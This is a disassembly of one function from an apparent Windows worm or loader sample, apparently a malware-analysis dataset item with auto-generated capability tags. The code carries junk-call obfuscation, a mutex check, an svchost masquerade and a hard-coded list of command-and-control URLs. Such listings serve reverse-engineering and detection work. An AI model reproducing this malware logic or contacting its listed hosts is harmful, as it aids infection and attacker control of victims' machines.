Function at 0x402ae0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create http request
Create thread
Delete file
Hide graphical window
Move file
Persist via run registry key
Persist via windows service
Query environment variable
Reference http user-agent string
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x113c
call fcn.00405740
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0xa28], 0x2350
mov eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0xa28]
jae 0x403482
push 0
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1040], eax
cmp dword [ebp - 0x1040], 0
je 0x403339
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 0x1064], 0
jmp 0x402ba7
mov ecx, dword [ebp - 0x1064]
add ecx, 1
mov dword [ebp - 0x1064], ecx
cmp dword [ebp - 0x1064], 0x384
jge 0x402c49
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402b98
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1058], eax
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1058], 0
je 0x402df4
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov edx, dword [ebp - 0x1058]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x104c], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x104c], 0
je 0x402ddc
mov dword [ebp - 0x1068], 0
jmp 0x402d92
mov eax, dword [ebp - 0x1068]
add eax, 1
mov dword [ebp - 0x1068], eax
cmp dword [ebp - 0x1068], 0x320
jge 0x402ddc
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402d83
mov ecx, dword [ebp - 0x104c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x1058]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
mov eax, dword [ebp - 0x1040]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x1040]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1040]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1060], 0x37
mov dword [ebp - 0x1050], 0x2c
mov eax, dword [ebp - 0x1060]
add eax, dword [ebp - 0x1050]
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x105c], 0xc8
jge 0x40314a
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x106c], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1058], eax
cmp dword [ebp - 0x1058], 0
je 0x40300a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov ecx, dword [ebp - 0x1058]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 0
je 0x402ff2
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x104c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1058]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x106c], 0
je 0x40314a
push 0
mov ecx, dword [ebp - 0x106c]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x106c]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1058], eax
cmp dword [ebp - 0x1058], 0
je 0x40313d
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov eax, dword [ebp - 0x1058]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 0
je 0x4030ec
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x104c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1058]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1054], 0xf84b
mov dword [ebp - 0x1044], 0x164
mov eax, dword [ebp - 0x1054]
cmp eax, dword [ebp - 0x1044]
jbe 0x4031e3
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1070], eax
cmp dword [ebp - 0x1070], 0
je 0x4031de
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1044]
add ecx, 1
mov dword [ebp - 0x1044], ecx
jmp 0x40315e
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40322e
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1048], eax
cmp dword [ebp - 0x1048], 0
je 0x4032f5
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1040]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 1
mov eax, dword [ebp - 0x1040]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x1040]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov edx, dword [ebp - 0x1040]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1074], 0
jmp 0x403310
mov eax, dword [ebp - 0x1074]
add eax, 1
mov dword [ebp - 0x1074], eax
cmp dword [ebp - 0x1074], 0x320
jge 0x403339
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x403301
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40346e
mov dword [ebp - 0x107c], 0
jmp 0x403367
mov ecx, dword [ebp - 0x107c]
add ecx, 1
mov dword [ebp - 0x107c], ecx
cmp dword [ebp - 0x107c], 0xfa0
jge 0x403385
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x403358
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1078], eax
cmp dword [ebp - 0x1078], 0
je 0x40341f
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x1040]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1040]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1080], 0
jmp 0x40343a
mov ecx, dword [ebp - 0x1080]
add ecx, 1
mov dword [ebp - 0x1080], ecx
cmp dword [ebp - 0x1080], 0x384
jge 0x40346e
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x40342b
mov edx, dword [ebp - 0x50c]
add edx, 1
mov dword [ebp - 0x50c], edx
jmp 0x402b0e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402960
movzx eax, al
cmp eax, 1
je 0x4034a7
call fcn.00402910
movzx ecx, al
cmp ecx, 1
jne 0x4034af
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [str.df54erd]
mov dword [ebp - 0x508], edx
mov eax, dword [0x407014]
mov dword [ebp - 0x504], eax
mov ecx, dword [str.svchost.exe]
mov dword [ebp - 0xa24], ecx
mov edx, dword [0x40701c]
mov dword [ebp - 0xa20], edx
mov eax, dword [0x407020]
mov dword [ebp - 0xa1c], eax
mov ecx, dword [0x407024]
mov dword [ebp - 0xa18], ecx
mov edx, dword [0x407028]
mov dword [ebp - 0xa14], edx
mov eax, dword [0x40702c]
mov dword [ebp - 0xa10], eax
mov ecx, 0x11
mov esi, str.Host_Process_for_Windows_Services
lea edi, [ebp - 0x500]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x7b8], str.http:__185.215.113.8_
mov dword [ebp - 0x7b4], str.http:__tsrv3.ru_
mov dword [ebp - 0x7b0], str.http:__tsrv4.ws_
mov dword [ebp - 0x7ac], str.http:__tsrv5.top_
mov dword [ebp - 0x7a8], str.http:__tldrbox.top_
mov dword [ebp - 0x7a4], str.http:__tldrhaus.top_
mov dword [ebp - 0x7a0], str.http:__tldrzone.top_
mov dword [ebp - 0x79c], str.http:__worm.ws_
mov dword [ebp - 0x9f4], str.123456
mov dword [ebp - 0x9f0], 0x407120
mov dword [ebp - 0x9ec], 0x407124
mov dword [ebp - 0x9e8], 0x407128
mov dword [ebp - 0x9e4], 0x40712c
mov dword [ebp - 0x9e0], 0x407130
mov dword [ebp - 0x103c], 0x407134
mov dword [ebp - 0x1038], str._userprofile_
mov dword [ebp - 0x1034], str._temp_
mov ecx, dword [0x40717c]
mov dword [ebp - 0x548], ecx
mov edx, dword [0x407180]
mov dword [ebp - 0x544], edx
mov eax, dword [0x407184]
mov dword [ebp - 0x540], eax
mov ecx, dword [0x407188]
mov dword [ebp - 0x53c], ecx
mov dx, word [0x40718c]
mov word [ebp - 0x538], dx
mov al, byte [0x40718e]
mov byte [ebp - 0x536], al
mov ecx, 7
mov esi, 0x407190
lea edi, [ebp - 0x9dc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 6
mov esi, 0x4071ac
lea edi, [ebp - 0x4b8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 6
mov esi, 0x4071c8
lea edi, [ebp - 0xd54]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xb
mov esi, 0x4071e4
lea edi, [ebp - 0x798]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x10
mov esi, 0x407218
lea edi, [ebp - 0xfd8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [0x40725c]
mov dword [ebp - 0x1030], ecx
mov edx, dword [0x407260]
mov dword [ebp - 0x102c], edx
mov eax, dword [0x407264]
mov dword [ebp - 0x1028], eax
mov ecx, dword [0x407268]
mov dword [ebp - 0x1024], ecx
mov edx, dword [0x40726c]
mov dword [ebp - 0x1020], edx
mov eax, dword [0x407270]
mov dword [ebp - 0x768], eax
mov ecx, dword [0x407274]
mov dword [ebp - 0x764], ecx
mov edx, dword [0x407278]
mov dword [ebp - 0x760], edx
mov eax, dword [0x40727c]
mov dword [ebp - 0x75c], eax
mov cx, word [0x407280]
mov word [ebp - 0x758], cx
mov ecx, 5
mov esi, 0x407284
lea edi, [ebp - 0x1018]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [0x40729c]
mov dword [ebp - 0x49c], edx
mov eax, dword [0x4072a0]
mov dword [ebp - 0x498], eax
mov ecx, dword [0x4072a4]
mov dword [ebp - 0x494], ecx
mov edx, dword [0x4072a8]
mov dword [ebp - 0x490], edx
mov al, byte [0x4072ac]
mov byte [ebp - 0x48c], al
mov ecx, dword [0x4072b0]
mov dword [ebp - 0xf78], ecx
mov edx, dword [0x4072b4]
mov dword [ebp - 0xf74], edx
mov eax, dword [0x4072b8]
mov dword [ebp - 0xf70], eax
mov ecx, dword [0x4072bc]
mov dword [ebp - 0xf6c], ecx
mov edx, dword [0x4072c0]
mov dword [ebp - 0xf68], edx
mov ax, word [0x4072c4]
mov word [ebp - 0xf64], ax
mov ecx, dword [0x4072c8]
mov dword [ebp - 0xf8c], ecx
mov edx, dword [0x4072cc]
mov dword [ebp - 0xf88], edx
mov eax, dword [0x4072d0]
mov dword [ebp - 0xf84], eax
mov ecx, dword [0x4072d4]
mov dword [ebp - 0xf80], ecx
mov dl, byte [0x4072d8]
mov byte [ebp - 0xf7c], dl
mov eax, dword [0x4072dc]
mov dword [ebp - 0xa0c], eax
mov ecx, dword [0x4072e0]
mov dword [ebp - 0xa08], ecx
mov edx, dword [0x4072e4]
mov dword [ebp - 0xa04], edx
mov eax, dword [0x4072e8]
mov dword [ebp - 0xa00], eax
mov ecx, dword [0x4072ec]
mov dword [ebp - 0x9fc], ecx
mov dx, word [0x4072f0]
mov word [ebp - 0x9f8], dx
mov ecx, 9
mov esi, 0x4072f4
lea edi, [ebp - 0x488]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xa
mov esi, 0x407318
lea edi, [ebp - 0x1000]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x407340]
mov dword [ebp - 0x464], eax
mov ecx, dword [0x407344]
mov dword [ebp - 0x460], ecx
mov dx, word [0x407348]
mov word [ebp - 0x45c], dx
mov al, byte [0x40734a]
mov byte [ebp - 0x45a], al
mov ecx, 0x10
mov esi, 0x407350
lea edi, [ebp - 0x458]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x508]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x101c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403894
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x754], 0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x534], 0
xor edx, edx
mov dword [ebp - 0x530], edx
mov dword [ebp - 0x52c], edx
mov dword [ebp - 0x528], edx
mov dword [ebp - 0x524], edx
mov dword [ebp - 0x520], edx
mov dword [ebp - 0x51c], edx
mov dword [ebp - 0x518], edx
mov dword [ebp - 0x514], edx
mov dword [ebp - 0x510], edx
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0xa28], 0x2378
mov eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0xa28]
jae 0x403f2c
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x403a53
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x108c], 0
jmp 0x403960
mov ecx, dword [ebp - 0x108c]
add ecx, 1
mov dword [ebp - 0x108c], ecx
cmp dword [ebp - 0x108c], 0xbb8
jge 0x403989
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x403951
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1088], eax
cmp dword [ebp - 0x1088], 0
je 0x4039f8
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1090], 0
jmp 0x403a13
mov edx, dword [ebp - 0x1090]
add edx, 1
mov dword [ebp - 0x1090], edx
cmp dword [ebp - 0x1090], 0x9c4
jge 0x403a53
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
